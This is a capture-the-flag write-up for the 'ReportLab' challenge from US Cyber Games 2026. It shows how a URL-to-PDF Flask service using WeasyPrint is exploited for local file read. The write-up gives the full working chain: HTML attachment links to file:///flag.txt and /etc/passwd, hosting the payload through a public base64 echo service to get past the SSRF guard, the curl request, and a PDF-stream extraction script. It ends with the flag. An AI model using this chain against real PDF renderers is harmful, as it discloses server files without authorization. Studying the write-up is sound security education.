arrow_backUS Cyber Games 2026
Webhard

ReportLab

by Pavel Knespl (capyplivl)

A Flask service renders any submitted public URL to PDF with WeasyPrint. An SSRF guard validates only the submitted URL's hostname, but WeasyPrint fetches sub-resources (including file://) with no check and embeds <link rel="attachment"> targets into the PDF. Host an HTML page on a public URL that references local files and they get baked into the returned PDF, giving local file read.

Solve

  1. Read /source. The guard checks only the first hop; rendering is done by WeasyPrint, whose fetcher allows file:// for sub-resources and attachments.
  2. Build an HTML payload that attaches local files:
    <link rel="attachment" href="file:///flag.txt">
    <link rel="attachment" href="file:///etc/passwd">
    
  3. Serve it from a public host so it passes the guard. httpbingo's base64 echo endpoint returns arbitrary bytes that WeasyPrint parses as HTML:
    B64=$(printf '%s' "$PAYLOAD" | base64 -w0)
    URL="https://httpbingo.org/base64/$B64"
    
  4. Submit it to the renderer:
    curl -s -X POST https://HOST/api/report \
         -H 'content-type: application/json' \
         -d "{\"url\":\"$URL\"}" -o report.pdf
    
    The PDF contains two /EmbeddedFile streams.
  5. Decompress the FlateDecode streams to read the attachments:
    import zlib, re
    d = open("report.pdf", "rb").read()
    for m in re.finditer(rb'stream\r?\n', d):
        blob = d[m.end():d.find(b'endstream', m.end())]
        try: print(zlib.decompress(blob.rstrip(b'\r\n')).decode('latin-1'))
        except: pass
    
    /flag.txt holds the flag.

Flag: SVIUSCG{39bd26a3429dacd47b1de29b9af28dee}